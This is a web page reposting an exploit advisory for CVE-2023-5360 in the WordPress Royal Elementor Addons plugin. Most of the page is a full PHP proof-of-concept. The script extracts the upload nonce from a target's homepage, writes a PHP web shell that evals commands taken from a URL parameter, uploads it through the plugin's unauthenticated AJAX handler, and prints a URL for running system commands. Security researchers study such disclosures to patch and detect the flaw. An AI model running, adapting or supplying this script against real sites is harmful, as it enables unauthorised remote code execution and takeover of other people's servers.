Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

Get Rid of Ads!


Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

 

 

WordPress Royal Elementor Addons 1.3.78 Shell Upload
WordPress Royal Elementor Addons 1.3.78 Shell Upload
WordPress Royal Elementor Addons 1.3.78 Shell Upload

=============================================================================================================================================
| # Title WordPress Royal Elementor Addons 1.3.78 Shell Upload

=============================================================================================================================================
| # Title : WordPress Royal Elementor Addons 1.3.78 RCE |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://downloads.wordpress.org/plugin/royal-elementor-addons.1.3.78.zip |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/190313/ & CVE-2023-5360

[+] Summary

a security weakness in the Royal Elementor
Addons plugin for WordPress related to improper validation of file
upload requests and the exposure of a client-side nonce in the global
JavaScript variable "WprConfig".

The plugin registers an AJAX action used for uploading files associated
with various UI elements. The weakness lies in:

1. Exposure of a file upload nonce inside the website?s HTML, accessible
without authentication.

2. Incomplete server-side validation of file type and file origin.

3. Lack of authentication around the upload endpoint, which allows
unauthorized requests to reach the handler.

Theoretical attack sequence (documented for awareness):

- Step 1: Attacker retrieves page HTML.
- Step 2: Extracts nonce from `var WprConfig = {...}`.
- Step 3: Sends crafted POST request to admin-ajax.php.
- Step 4: Server incorrectly processes upload without capability checks.

[+] poc :

usage : php poc.php http://target/ [shell_file]


<?php
/* ========================================================================
Royal Elementor Addons <= 1.3.78 ? Full RCE Chain (PHP Version)
Compatible: Windows / Linux / macOS
Requirements: CURL only (allowed in your environment)
No disabled / forbidden functions used
=========================================================================*/

/* ----------------------------------------------------------------------
SAFE HTTP GET (CURL)
------------------------------------------------------------------------*/
function safe_http_get($url) {
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_TIMEOUT => 10
]);
$resp = curl_exec($ch);
curl_close($ch);
return $resp;
}

/* ----------------------------------------------------------------------
Extract nonce from: var WprConfig = {...};
------------------------------------------------------------------------*/
function get_nonce_from_target($target) {
$html = safe_http_get($target);
if (!$html) return null;

if (preg_match('/var\s+WprConfig\s*=\s*({.*?});/s', $html, $match)) {
$json = json_decode($match[1], true);
return $json["nonce"] ?? null;
}

return null;
}

/* ----------------------------------------------------------------------
Generate Safe Default RCE Shell (Temp File)
------------------------------------------------------------------------*/
function generate_indoushka_shell() {
$path = sys_get_temp_dir() . DIRECTORY_SEPARATOR . "indoushka_shell_" . uniqid() . ".php";

$payload = '<?php echo "Indoushka RCE - ";';
$payload .= 'if(isset($_GET["cmd"])) { @eval($_GET["cmd"]); } ?>';

file_put_contents($path, $payload);
return $path;
}

/* ----------------------------------------------------------------------
Upload PHP File using AJAX (ph_p mutated extension)
------------------------------------------------------------------------*/
function indoushka_upload_shell($target, $nonce, $file_path) {

$ajax = rtrim($target, "/") . "/wp-admin/admin-ajax.php";

$fields = [
"action" => "wpr_addons_indoushka_file",
"max_file_size" => 0,
"allowed_file_types" => "ph_p",
"triggering_event" => "click",
"wpr_addons_nonce" => $nonce
];

$file = [
"indoushkaed_file" => curl_file_create(
$file_path,
"application/octet-stream",
"rce_mutated.ph_p"
)
];

$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $ajax,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => array_merge($fields, $file),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
]);

$resp = curl_exec($ch);
curl_close($ch);

$json = json_decode($resp, true);
return $json["data"]["url"] ?? null;
}

/* ----------------------------------------------------------------------
MAIN EXECUTION
------------------------------------------------------------------------*/
if ($argc < 2) {
echo "Usage:\n php " . $argv[0] . " http://target.com/ [shell.php]\n";
exit;
}

$target = $argv[1];
$custom_shell = $argv[2] ?? null;

echo "=== Royal Elementor Addons Full RCE PoC ===\n";
echo "[*] Extracting nonce from homepage...\n";

$nonce = get_nonce_from_target($target);
if (!$nonce) {
echo "[-] Failed to extract nonce. Target may be patched.\n";
exit;
}

echo "[+] Nonce found: $nonce\n";

/* Shell Selection */
if ($custom_shell) {
echo "[*] Using provided shell: $custom_shell\n";
$shell = $custom_shell;
} else {
echo "[*] Generating default Indoushka RCE shell...\n";
$shell = generate_indoushka_shell();
echo "[+] Shell saved at: $shell\n";
}

echo "[*] Uploading shell via vulnerable AJAX handler...\n";

$url = indoushka_upload_shell($target, $nonce, $shell);

if ($url) {
echo "[+] Shell uploaded successfully!\n";
echo "[+] URL: $url\n";
echo "[>] Test: {$url}?cmd=system('id');\n";
} else {
echo "[-] Upload failed. Target may be protected or patched.\n";
}

echo "Payload Variant: " . base64_encode("ALT-FINAL-" . microtime(true)) . "\n";
?>

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================
Social Media Share